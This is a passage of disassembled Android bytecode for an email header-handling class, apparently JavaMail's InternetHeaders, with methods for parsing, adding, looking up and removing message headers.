00000008 invoke-direct HeaderTokenizer->getNext()HeaderTokenizer$Token, p0
0000000E move-result-object v0
00000010 iget v1, p0, HeaderTokenizer->currentPos:I
00000014 iput v1, p0, HeaderTokenizer->peekPos:I
00000018 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public final InternetHeaders$InternetHeader
.super Header
.source ""
.field line:String
.method public constructor <init>(String)V
.registers 4
00000000 const-string v0, ""
00000004 const-string v1, ""
00000008 invoke-direct Header-><init>(String, String)V, p0, v0, v1
0000000E const/16 v0, 0x3A
00000012 invoke-virtual String->indexOf(I)I, p1, v0
00000018 move-result v0
0000001A if-gez v0, :30
:1E
0000001E invoke-virtual String->trim()String, p1
00000024 move-result-object v0
00000026 iput-object v0, p0, InternetHeaders$InternetHeader->name:String
:2A
0000002A iput-object p1, p0, InternetHeaders$InternetHeader->line:String
0000002E return-void
:30
00000030 const/4 v1, 0x0
00000032 invoke-virtual String->substring(I, I)String, p1, v1, v0
00000038 move-result-object v0
0000003A invoke-virtual String->trim()String, v0
00000040 move-result-object v0
00000042 iput-object v0, p0, InternetHeaders$InternetHeader->name:String
00000046 goto :2A
.end method
.method public constructor <init>(String, String)V
.registers 5
00000000 const-string v0, ""
00000004 invoke-direct Header-><init>(String, String)V, p0, p1, v0
0000000A if-eqz p2, :42
:E
0000000E new-instance v0, StringBuilder
00000012 invoke-static String->valueOf(Object)String, p1
00000018 move-result-object v1
0000001A invoke-direct StringBuilder-><init>(String)V, v0, v1
00000020 const-string v1, ": "
00000024 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000002A move-result-object v0
0000002C invoke-virtual StringBuilder->append(String)StringBuilder, v0, p2
00000032 move-result-object v0
00000034 invoke-virtual StringBuilder->toString()String, v0
0000003A move-result-object v0
0000003C iput-object v0, p0, InternetHeaders$InternetHeader->line:String
:40
00000040 return-void
:42
00000042 const/4 v0, 0x0
00000044 iput-object v0, p0, InternetHeaders$InternetHeader->line:String
00000048 goto :40
.end method
.method public getValue()String
.registers 4
00000000 iget-object v0, p0, InternetHeaders$InternetHeader->line:String
00000004 const/16 v1, 0x3A
00000008 invoke-virtual String->indexOf(I)I, v0, v1
0000000E move-result v0
00000010 if-gez v0, :1A
:14
00000014 iget-object v0, p0, InternetHeaders$InternetHeader->line:String
:18
00000018 return-object v0
:1A
0000001A add-int/lit8 v0, v0, 0x1
:1E
0000001E iget-object v1, p0, InternetHeaders$InternetHeader->line:String
00000022 invoke-virtual String->length()I, v1
00000028 move-result v1
0000002A if-lt v0, v1, :3C
:2E
0000002E iget-object v1, p0, InternetHeaders$InternetHeader->line:String
00000032 invoke-virtual String->substring(I)String, v1, v0
00000038 move-result-object v0
0000003A goto :18
:3C
0000003C iget-object v1, p0, InternetHeaders$InternetHeader->line:String
00000040 invoke-virtual String->charAt(I)C, v1, v0
00000046 move-result v1
00000048 const/16 v2, 0x20
0000004C if-eq v1, v2, :68
:50
00000050 const/16 v2, 0x9
00000054 if-eq v1, v2, :68
:58
00000058 const/16 v2, 0xD
0000005C if-eq v1, v2, :68
:60
00000060 const/16 v2, 0xA
00000064 if-ne v1, v2, :2E
:68
00000068 add-int/lit8 v0, v0, 0x1
0000006C goto :1E
.end method
#--------------------------------------------------------------------------------
.class InternetHeaders$matchEnum
.super Object
.source ""
.implements Enumeration
.field private e:Iterator
.field private match:Z
.field private names:[String
.field private next_header:InternetHeaders$InternetHeader
.field private want_line:Z
.method constructor <init>(List, [String, Z, Z)V
.registers 6
00000000 invoke-direct Object-><init>()V, p0
00000006 invoke-interface List->iterator()Iterator, p1
0000000C move-result-object v0
0000000E iput-object v0, p0, InternetHeaders$matchEnum->e:Iterator
00000012 iput-object p2, p0, InternetHeaders$matchEnum->names:[String
00000016 iput-boolean p3, p0, InternetHeaders$matchEnum->match:Z
0000001A iput-boolean p4, p0, InternetHeaders$matchEnum->want_line:Z
0000001E const/4 v0, 0x0
00000020 iput-object v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000024 return-void
.end method
.method private nextMatch()InternetHeaders$InternetHeader
.registers 6
00000000 const/4 v1, 0x0
:2
00000002 iget-object v0, p0, InternetHeaders$matchEnum->e:Iterator
00000006 invoke-interface Iterator->hasNext()Z, v0
0000000C move-result v0
0000000E if-nez v0, :16
:12
00000012 move-object v0, v1
:14
00000014 return-object v0
:16
00000016 iget-object v0, p0, InternetHeaders$matchEnum->e:Iterator
0000001A invoke-interface Iterator->next()Object, v0
00000020 move-result-object v0
00000022 check-cast v0, InternetHeaders$InternetHeader
00000026 iget-object v2, v0, InternetHeaders$InternetHeader->line:String
0000002A if-eqz v2, :2
:2E
0000002E iget-object v2, p0, InternetHeaders$matchEnum->names:[String
00000032 if-nez v2, :42
:36
00000036 iget-boolean v2, p0, InternetHeaders$matchEnum->match:Z
0000003A if-eqz v2, :14
:3E
0000003E move-object v0, v1
00000040 goto :14
:42
00000042 const/4 v2, 0x0
:44
00000044 iget-object v3, p0, InternetHeaders$matchEnum->names:[String
00000048 array-length v3, v3
0000004A if-lt v2, v3, :58
:4E
0000004E iget-boolean v2, p0, InternetHeaders$matchEnum->match:Z
00000052 if-nez v2, :2
:56
00000056 goto :14
:58
00000058 iget-object v3, p0, InternetHeaders$matchEnum->names:[String
0000005C aget-object v3, v3, v2
00000060 invoke-virtual InternetHeaders$InternetHeader->getName()String, v0
00000066 move-result-object v4
00000068 invoke-virtual String->equalsIgnoreCase(String)Z, v3, v4
0000006E move-result v3
00000070 if-eqz v3, :7E
:74
00000074 iget-boolean v2, p0, InternetHeaders$matchEnum->match:Z
00000078 if-eqz v2, :2
:7C
0000007C goto :14
:7E
0000007E add-int/lit8 v2, v2, 0x1
00000082 goto :44
.end method
.method public hasMoreElements()Z
.registers 2
00000000 iget-object v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000004 if-nez v0, :14
:8
00000008 invoke-direct InternetHeaders$matchEnum->nextMatch()InternetHeaders$InternetHeader, p0
0000000E move-result-object v0
00000010 iput-object v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
:14
00000014 iget-object v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000018 if-eqz v0, :20
:1C
0000001C const/4 v0, 0x1
:1E
0000001E return v0
:20
00000020 const/4 v0, 0x0
00000022 goto :1E
.end method
.method public nextElement()Object
.registers 4
00000000 iget-object v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000004 if-nez v0, :14
:8
00000008 invoke-direct InternetHeaders$matchEnum->nextMatch()InternetHeaders$InternetHeader, p0
0000000E move-result-object v0
00000010 iput-object v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
:14
00000014 iget-object v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000018 if-nez v0, :2C
:1C
0000001C new-instance v0, NoSuchElementException
00000020 const-string v1, "No more headers"
00000024 invoke-direct NoSuchElementException-><init>(String)V, v0, v1
0000002A throw v0
:2C
0000002C iget-object v1, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000030 const/4 v0, 0x0
00000032 iput-object v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000036 iget-boolean v0, p0, InternetHeaders$matchEnum->want_line:Z
0000003A if-eqz v0, :44
:3E
0000003E iget-object v0, v1, InternetHeaders$InternetHeader->line:String
:42
00000042 return-object v0
:44
00000044 new-instance v0, Header
00000048 invoke-virtual InternetHeaders$InternetHeader->getName()String, v1
0000004E move-result-object v2
00000050 invoke-virtual InternetHeaders$InternetHeader->getValue()String, v1
00000056 move-result-object v1
00000058 invoke-direct Header-><init>(String, String)V, v0, v2, v1
0000005E goto :42
.end method
#--------------------------------------------------------------------------------
.class public InternetHeaders
.super Object
.source ""
.field protected headers:List
.method public constructor <init>()V
.registers 5
00000000 const/4 v3, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 new-instance v0, ArrayList
0000000C const/16 v1, 0x28
00000010 invoke-direct ArrayList-><init>(I)V, v0, v1
00000016 iput-object v0, p0, InternetHeaders->headers:List
0000001A iget-object v0, p0, InternetHeaders->headers:List
0000001E new-instance v1, InternetHeaders$InternetHeader
00000022 const-string v2, "Return-Path"
00000026 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000002C invoke-interface List->add(Object)Z, v0, v1
00000032 iget-object v0, p0, InternetHeaders->headers:List
00000036 new-instance v1, InternetHeaders$InternetHeader
0000003A const-string v2, "Received"
0000003E invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000044 invoke-interface List->add(Object)Z, v0, v1
0000004A iget-object v0, p0, InternetHeaders->headers:List
0000004E new-instance v1, InternetHeaders$InternetHeader
00000052 const-string v2, "Resent-Date"
00000056 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000005C invoke-interface List->add(Object)Z, v0, v1
00000062 iget-object v0, p0, InternetHeaders->headers:List
00000066 new-instance v1, InternetHeaders$InternetHeader
0000006A const-string v2, "Resent-From"
0000006E invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000074 invoke-interface List->add(Object)Z, v0, v1
0000007A iget-object v0, p0, InternetHeaders->headers:List
0000007E new-instance v1, InternetHeaders$InternetHeader
00000082 const-string v2, "Resent-Sender"
00000086 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000008C invoke-interface List->add(Object)Z, v0, v1
00000092 iget-object v0, p0, InternetHeaders->headers:List
00000096 new-instance v1, InternetHeaders$InternetHeader
0000009A const-string v2, "Resent-To"
0000009E invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000000A4 invoke-interface List->add(Object)Z, v0, v1
000000AA iget-object v0, p0, InternetHeaders->headers:List
000000AE new-instance v1, InternetHeaders$InternetHeader
000000B2 const-string v2, "Resent-Cc"
000000B6 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000000BC invoke-interface List->add(Object)Z, v0, v1
000000C2 iget-object v0, p0, InternetHeaders->headers:List
000000C6 new-instance v1, InternetHeaders$InternetHeader
000000CA const-string v2, "Resent-Bcc"
000000CE invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000000D4 invoke-interface List->add(Object)Z, v0, v1
000000DA iget-object v0, p0, InternetHeaders->headers:List
000000DE new-instance v1, InternetHeaders$InternetHeader
000000E2 const-string v2, "Resent-Message-Id"
000000E6 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000000EC invoke-interface List->add(Object)Z, v0, v1
000000F2 iget-object v0, p0, InternetHeaders->headers:List
000000F6 new-instance v1, InternetHeaders$InternetHeader
000000FA const-string v2, "Date"
000000FE invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000104 invoke-interface List->add(Object)Z, v0, v1
0000010A iget-object v0, p0, InternetHeaders->headers:List
0000010E new-instance v1, InternetHeaders$InternetHeader
00000112 const-string v2, "From"
00000116 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000011C invoke-interface List->add(Object)Z, v0, v1
00000122 iget-object v0, p0, InternetHeaders->headers:List
00000126 new-instance v1, InternetHeaders$InternetHeader
0000012A const-string v2, "Sender"
0000012E invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000134 invoke-interface List->add(Object)Z, v0, v1
0000013A iget-object v0, p0, InternetHeaders->headers:List
0000013E new-instance v1, InternetHeaders$InternetHeader
00000142 const-string v2, "Reply-To"
00000146 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000014C invoke-interface List->add(Object)Z, v0, v1
00000152 iget-object v0, p0, InternetHeaders->headers:List
00000156 new-instance v1, InternetHeaders$InternetHeader
0000015A const-string v2, "To"
0000015E invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000164 invoke-interface List->add(Object)Z, v0, v1
0000016A iget-object v0, p0, InternetHeaders->headers:List
0000016E new-instance v1, InternetHeaders$InternetHeader
00000172 const-string v2, "Cc"
00000176 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000017C invoke-interface List->add(Object)Z, v0, v1
00000182 iget-object v0, p0, InternetHeaders->headers:List
00000186 new-instance v1, InternetHeaders$InternetHeader
0000018A const-string v2, "Bcc"
0000018E invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000194 invoke-interface List->add(Object)Z, v0, v1
0000019A iget-object v0, p0, InternetHeaders->headers:List
0000019E new-instance v1, InternetHeaders$InternetHeader
000001A2 const-string v2, "Message-Id"
000001A6 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000001AC invoke-interface List->add(Object)Z, v0, v1
000001B2 iget-object v0, p0, InternetHeaders->headers:List
000001B6 new-instance v1, InternetHeaders$InternetHeader
000001BA const-string v2, "In-Reply-To"
000001BE invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000001C4 invoke-interface List->add(Object)Z, v0, v1
000001CA iget-object v0, p0, InternetHeaders->headers:List
000001CE new-instance v1, InternetHeaders$InternetHeader
000001D2 const-string v2, "References"
000001D6 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000001DC invoke-interface List->add(Object)Z, v0, v1
000001E2 iget-object v0, p0, InternetHeaders->headers:List
000001E6 new-instance v1, InternetHeaders$InternetHeader
000001EA const-string v2, "Subject"
000001EE invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000001F4 invoke-interface List->add(Object)Z, v0, v1
000001FA iget-object v0, p0, InternetHeaders->headers:List
000001FE new-instance v1, InternetHeaders$InternetHeader
00000202 const-string v2, "Comments"
00000206 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000020C invoke-interface List->add(Object)Z, v0, v1
00000212 iget-object v0, p0, InternetHeaders->headers:List
00000216 new-instance v1, InternetHeaders$InternetHeader
0000021A const-string v2, "Keywords"
0000021E invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000224 invoke-interface List->add(Object)Z, v0, v1
0000022A iget-object v0, p0, InternetHeaders->headers:List
0000022E new-instance v1, InternetHeaders$InternetHeader
00000232 const-string v2, "Errors-To"
00000236 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000023C invoke-interface List->add(Object)Z, v0, v1
00000242 iget-object v0, p0, InternetHeaders->headers:List
00000246 new-instance v1, InternetHeaders$InternetHeader
0000024A const-string v2, "MIME-Version"
0000024E invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000254 invoke-interface List->add(Object)Z, v0, v1
0000025A iget-object v0, p0, InternetHeaders->headers:List
0000025E new-instance v1, InternetHeaders$InternetHeader
00000262 const-string v2, "Content-Type"
00000266 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000026C invoke-interface List->add(Object)Z, v0, v1
00000272 iget-object v0, p0, InternetHeaders->headers:List
00000276 new-instance v1, InternetHeaders$InternetHeader
0000027A const-string v2, "Content-Transfer-Encoding"
0000027E invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000284 invoke-interface List->add(Object)Z, v0, v1
0000028A iget-object v0, p0, InternetHeaders->headers:List
0000028E new-instance v1, InternetHeaders$InternetHeader
00000292 const-string v2, "Content-MD5"
00000296 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000029C invoke-interface List->add(Object)Z, v0, v1
000002A2 iget-object v0, p0, InternetHeaders->headers:List
000002A6 new-instance v1, InternetHeaders$InternetHeader
000002AA const-string v2, ":"
000002AE invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000002B4 invoke-interface List->add(Object)Z, v0, v1
000002BA iget-object v0, p0, InternetHeaders->headers:List
000002BE new-instance v1, InternetHeaders$InternetHeader
000002C2 const-string v2, "Content-Length"
000002C6 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000002CC invoke-interface List->add(Object)Z, v0, v1
000002D2 iget-object v0, p0, InternetHeaders->headers:List
000002D6 new-instance v1, InternetHeaders$InternetHeader
000002DA const-string v2, "Status"
000002DE invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000002E4 invoke-interface List->add(Object)Z, v0, v1
000002EA return-void
.end method
.method public constructor <init>(InputStream)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, ArrayList
0000000A const/16 v1, 0x28
0000000E invoke-direct ArrayList-><init>(I)V, v0, v1
00000014 iput-object v0, p0, InternetHeaders->headers:List
00000018 invoke-virtual InternetHeaders->load(InputStream)V, p0, p1
0000001E return-void
.end method
.method public addHeader(String, String)V
.registers 8
00000000 const/4 v0, 0x0
00000002 iget-object v1, p0, InternetHeaders->headers:List
00000006 invoke-interface List->size()I, v1
0000000C move-result v1
0000000E const-string v2, "Received"
00000012 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v2
00000018 move-result v2
0000001A if-nez v2, :60
:1E
0000001E const-string v2, "Return-Path"
00000022 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v2
00000028 move-result v2
0000002A if-nez v2, :60
:2E
0000002E move v3, v0
:30
00000030 if-eqz v3, :CA
:34
00000034 iget-object v1, p0, InternetHeaders->headers:List
00000038 invoke-interface List->size()I, v1
0000003E move-result v1
00000040 add-int/lit8 v2, v1, 0xFFFFFFFFFFFFFFFF
00000044 move v1, v0
:46
00000046 if-gez v2, :66
:4A
0000004A iget-object v0, p0, InternetHeaders->headers:List
0000004E new-instance v2, InternetHeaders$InternetHeader
00000052 invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v2, p1, p2
00000058 invoke-interface List->add(I, Object)V, v0, v1, v2
:5E
0000005E return-void
:60
00000060 const/4 v2, 0x1
00000062 move v3, v2
00000064 goto :30
:66
00000066 iget-object v0, p0, InternetHeaders->headers:List
0000006A invoke-interface List->get(I)Object, v0, v2
00000070 move-result-object v0
00000072 check-cast v0, InternetHeaders$InternetHeader
00000076 invoke-virtual InternetHeaders$InternetHeader->getName()String, v0
0000007C move-result-object v4
0000007E invoke-virtual String->equalsIgnoreCase(String)Z, p1, v4
00000084 move-result v4
00000086 if-eqz v4, :90
:8A
0000008A if-eqz v3, :B0
:8E
0000008E move v1, v2
:90
00000090 invoke-virtual InternetHeaders$InternetHeader->getName()String, v0
00000096 move-result-object v0
00000098 const-string v4, ":"
0000009C invoke-virtual String->equals(Object)Z, v0, v4
000000A2 move-result v0
000000A4 if-eqz v0, :AA
:A8
000000A8 move v1, v2
:AA
000000AA add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
000000AE goto :46
:B0
000000B0 iget-object v0, p0, InternetHeaders->headers:List
000000B4 add-int/lit8 v1, v2, 0x1
000000B8 new-instance v2, InternetHeaders$InternetHeader
000000BC invoke-direct InternetHeaders$InternetHeader-><init>(String, String)V, v2, p1, p2
000000C2 invoke-interface List->add(I, Object)V, v0, v1, v2
000000C8 goto :5E
:CA
000000CA move v0, v1
000000CC goto :34
.end method
.method public addHeaderLine(String)V
.registers 5
00000000 const/4 v0, 0x0
:2
00000002 invoke-virtual String->charAt(I)C, p1, v0
00000008 move-result v0
0000000A const/16 v1, 0x20
0000000E if-eq v0, v1, :1A
:12
00000012 const/16 v1, 0x9
00000016 if-ne v0, v1, :72
:1A
0000001A iget-object v0, p0, InternetHeaders->headers:List
0000001E iget-object v1, p0, InternetHeaders->headers:List
00000022 invoke-interface List->size()I, v1
00000028 move-result v1
0000002A add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
0000002E invoke-interface List->get(I)Object, v0, v1
00000034 move-result-object v0
00000036 check-cast v0, InternetHeaders$InternetHeader
0000003A iget-object v1, v0, InternetHeaders$InternetHeader->line:String
0000003E new-instance v2, StringBuilder
00000042 invoke-static String->valueOf(Object)String, v1
00000048 move-result-object v1
0000004A invoke-direct StringBuilder-><init>(String)V, v2, v1
00000050 const-string v1, "\r\n"
00000054 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
0000005A move-result-object v1
0000005C invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
00000062 move-result-object v1
00000064 invoke-virtual StringBuilder->toString()String, v1
0000006A move-result-object v1
0000006C iput-object v1, v0, InternetHeaders$InternetHeader->line:String
:70
00000070 return-void
:72
00000072 iget-object v0, p0, InternetHeaders->headers:List
00000076 new-instance v1, InternetHeaders$InternetHeader
0000007A invoke-direct InternetHeaders$InternetHeader-><init>(String)V, v1, p1
00000080 invoke-interface List->add(Object)Z, v0, v1
:86
00000086 goto :70
:88
00000088 move-exception v0
0000008A goto :70
:8C
0000008C move-exception v0
0000008E goto :70
.catch StringIndexOutOfBoundsException {:2 .. :86} :88
.catch NoSuchElementException {:2 .. :86} :8C
.end method
.method public getAllHeaderLines()Enumeration
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-virtual InternetHeaders->getNonMatchingHeaderLines([String)Enumeration, p0, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public getAllHeaders()Enumeration
.registers 5
00000000 const/4 v3, 0x0
00000002 new-instance v0, InternetHeaders$matchEnum
00000006 iget-object v1, p0, InternetHeaders->headers:List
0000000A const/4 v2, 0x0
0000000C invoke-direct InternetHeaders$matchEnum-><init>(List, [String, Z, Z)V, v0, v1, v2, v3, v3
00000012 return-object v0
.end method
.method public getHeader(String, String)String
.registers 7
00000000 const/4 v0, 0x1
00000002 const/4 v3, 0x0
00000004 invoke-virtual InternetHeaders->getHeader(String)[String, p0, p1
0000000A move-result-object v1
0000000C if-nez v1, :14
:10
00000010 const/4 v0, 0x0
:12
00000012 return-object v0
:14
00000014 array-length v2, v1
00000016 if-eq v2, v0, :1E
:1A
0000001A if-nez p2, :24
:1E
0000001E aget-object v0, v1, v3
00000022 goto :12
:24
00000024 new-instance v2, StringBuffer
00000028 aget-object v3, v1, v3
0000002C invoke-direct StringBuffer-><init>(String)V, v2, v3
:32
00000032 array-length v3, v1
00000034 if-lt v0, v3, :42
:38
00000038 invoke-virtual StringBuffer->toString()String, v2
0000003E move-result-object v0
00000040 goto :12
:42
00000042 invoke-virtual StringBuffer->append(String)StringBuffer, v2, p2
00000048 aget-object v3, v1, v0
0000004C invoke-virtual StringBuffer->append(String)StringBuffer, v2, v3
00000052 add-int/lit8 v0, v0, 0x1
00000056 goto :32
.end method
.method public getHeader(String)[String
.registers 6
00000000 iget-object v0, p0, InternetHeaders->headers:List
00000004 invoke-interface List->iterator()Iterator, v0
0000000A move-result-object v1
0000000C new-instance v2, ArrayList
00000010 invoke-direct ArrayList-><init>()V, v2
:16
00000016 invoke-interface Iterator->hasNext()Z, v1
0000001C move-result v0
0000001E if-nez v0, :32
:22
00000022 invoke-interface List->size()I, v2
00000028 move-result v0
0000002A if-nez v0, :6A
:2E
0000002E const/4 v0, 0x0
:30
00000030 return-object v0
:32
00000032 invoke-interface Iterator->next()Object, v1
00000038 move-result-object v0
0000003A check-cast v0, InternetHeaders$InternetHeader
0000003E invoke-virtual InternetHeaders$InternetHeader->getName()String, v0
00000044 move-result-object v3
00000046 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v3
0000004C move-result v3
0000004E if-eqz v3, :16
:52
00000052 iget-object v3, v0, InternetHeaders$InternetHeader->line:String
00000056 if-eqz v3, :16
:5A
0000005A invoke-virtual InternetHeaders$InternetHeader->getValue()String, v0
00000060 move-result-object v0
00000062 invoke-interface List->add(Object)Z, v2, v0
00000068 goto :16
:6A
0000006A invoke-interface List->size()I, v2
00000070 move-result v0
00000072 new-array v0, v0, [String
00000076 invoke-interface List->toArray([Object)[Object, v2, v0
0000007C move-result-object v0
0000007E check-cast v0, [String
00000082 goto :30
.end method
.method public getMatchingHeaderLines([String)Enumeration
.registers 5
00000000 const/4 v2, 0x1
00000002 new-instance v0, InternetHeaders$matchEnum
00000006 iget-object v1, p0, InternetHeaders->headers:List
0000000A invoke-direct InternetHeaders$matchEnum-><init>(List, [String, Z, Z)V, v0, v1, p1, v2, v2
00000010 return-object v0
.end method
.method public getMatchingHeaders([String)Enumeration
.registers 6
00000000 new-instance v0, InternetHeaders$matchEnum
00000004 iget-object v1, p0, InternetHeaders->headers:List
00000008 const/4 v2, 0x1
0000000A const/4 v3, 0x0
0000000C invoke-direct InternetHeaders$matchEnum-><init>(List, [String, Z, Z)V, v0, v1, p1, v2, v3
00000012 return-object v0
.end method
.method public getNonMatchingHeaderLines([String)Enumeration
.registers 6
00000000 new-instance v0, InternetHeaders$matchEnum
00000004 iget-object v1, p0, InternetHeaders->headers:List
00000008 const/4 v2, 0x0
0000000A const/4 v3, 0x1
0000000C invoke-direct InternetHeaders$matchEnum-><init>(List, [String, Z, Z)V, v0, v1, p1, v2, v3
00000012 return-object v0
.end method
.method public getNonMatchingHeaders([String)Enumeration
.registers 5
00000000 const/4 v2, 0x0
00000002 new-instance v0, InternetHeaders$matchEnum
00000006 iget-object v1, p0, InternetHeaders->headers:List
0000000A invoke-direct InternetHeaders$matchEnum-><init>(List, [String, Z, Z)V, v0, v1, p1, v2, v2
00000010 return-object v0
.end method
.method public load(InputStream)V
.registers 8
00000000 const/4 v1, 0x0
00000002 new-instance v3, LineInputStream
00000006 invoke-direct LineInputStream-><init>(InputStream)V, v3, p1
0000000C new-instance v4, StringBuffer
00000010 invoke-direct StringBuffer-><init>()V, v4
00000016 move-object v0, v1
:18
00000018 invoke-virtual LineInputStream->readLine()String, v3
0000001E move-result-object v2
00000020 if-eqz v2, :72
:24
00000024 const-string v5, " "
00000028 invoke-virtual String->startsWith(String)Z, v2, v5
0000002E move-result v5
00000030 if-nez v5, :44
:34
00000034 const-string v5, "\t"
00000038 invoke-virtual String->startsWith(String)Z, v2, v5
0000003E move-result v5
00000040 if-eqz v5, :72
:44
00000044 if-eqz v0, :50
:48
00000048 invoke-virtual StringBuffer->append(String)StringBuffer, v4, v0
0000004E move-object v0, v1
:50
00000050 const-string v5, "\r\n"
00000054 invoke-virtual StringBuffer->append(String)StringBuffer, v4, v5
0000005A invoke-virtual StringBuffer->append(String)StringBuffer, v4, v2
:60
00000060 if-eqz v2, :70
:64
00000064 invoke-virtual String->length()I, v2
0000006A move-result v2
0000006C if-gtz v2, :18
:70
00000070 return-void
:72
00000072 if-eqz v0, :80
:76
00000076 invoke-virtual InternetHeaders->addHeaderLine(String)V, p0, v0
:7C
0000007C move-object v0, v2
0000007E goto :60
:80
00000080 invoke-virtual StringBuffer->length()I, v4
00000086 move-result v0
00000088 if-lez v0, :7C
:8C
0000008C invoke-virtual StringBuffer->toString()String, v4
00000092 move-result-object v0
00000094 invoke-virtual InternetHeaders->addHeaderLine(String)V, p0, v0
0000009A const/4 v0, 0x0
0000009C invoke-virtual StringBuffer->setLength(I)V, v4, v0
:A2
000000A2 goto :7C
:A4
000000A4 move-exception v0
000000A6 new-instance v1, MessagingException
000000AA const-string v2, "Error in input stream"
000000AE invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000000B4 throw v1
.catch IOException {:18 .. :A2} :A4
.end method
.method public removeHeader(String)V
.registers 5
00000000 const/4 v0, 0x0
00000002 move v1, v0
:4
00000004 iget-object v0, p0, InternetHeaders->headers:List
00000008 invoke-interface List->size()I, v0
0000000E move-result v0
00000010 if-lt v1, v0, :16
:14
00000014 return-void
:16
00000016 iget-object v0, p0, InternetHeaders->headers:List
0000001A invoke-interface List->get(I)Object, v0, v1
00000020 move-result-object v0
00000022 check-cast v0, InternetHeaders$InternetHeader
00000026 invoke-virtual InternetHeaders$InternetHeader->getName()String, v0
0000002C move-result-object v2
0000002E invoke-virtual String->equalsIgnoreCase(String)Z, p1, v2
00000034 move-result v2
00000036 if-eqz v2, :40
:3A
0000003A const/4 v2, 0x0
0000003C iput-object v2, v0, InternetHeaders$InternetHeader->line:String
:40
00000040 add-int/lit8 v0, v1, 0x1
00000044 move v1, v0
00000046 goto :4
.end method
.method public setHeader(String, String)V
.registers 9
00000000 const/4 v2, 0x0
00000002 move v1, v2
00000004 move v3, v2
:6
00000006 iget-object v0, p0, InternetHeaders->headers:List
0000000A invoke-interface List->size()I, v0
00000010 move-result v0
00000012 if-lt v1, v0, :22
:16
00000016 if-nez v3, :20
:1A
0000001A invoke-virtual InternetHeaders->addHeader(String, String)V, p0, p1, p2
:20
00000020 return-void
:22
00000022 iget-object v0, p0, InternetHeaders->headers:List
00000026 invoke-interface List->get(I)Object, v0, v1
0000002C move-result-object v0
0000002E check-cast v0, InternetHeaders$InternetHeader
00000032 invoke-virtual InternetHeaders$InternetHeader->getName()String, v0
00000038 move-result-object v4
0000003A invoke-virtual String->equalsIgnoreCase(String)Z, p1, v4
00000040 move-result v4
00000042 if-eqz v4, :100
:46
00000046 if-nez v3, :EC
:4A
0000004A iget-object v3, v0, InternetHeaders$InternetHeader->line:String
0000004E if-eqz v3, :B8
:52
00000052 iget-object v3, v0, InternetHeaders$InternetHeader->line:String
00000056 const/16 v4, 0x3A
0000005A invoke-virtual String->indexOf(I)I, v3, v4
00000060 move-result v3
00000062 if-ltz v3, :B8
:66
00000066 new-instance v4, StringBuilder
0000006A iget-object v5, v0, InternetHeaders$InternetHeader->line:String
0000006E add-int/lit8 v3, v3, 0x1
00000072 invoke-virtual String->substring(I, I)String, v5, v2, v3
00000078 move-result-object v3
0000007A invoke-static String->valueOf(Object)String, v3
00000080 move-result-object v3
00000082 invoke-direct StringBuilder-><init>(String)V, v4, v3
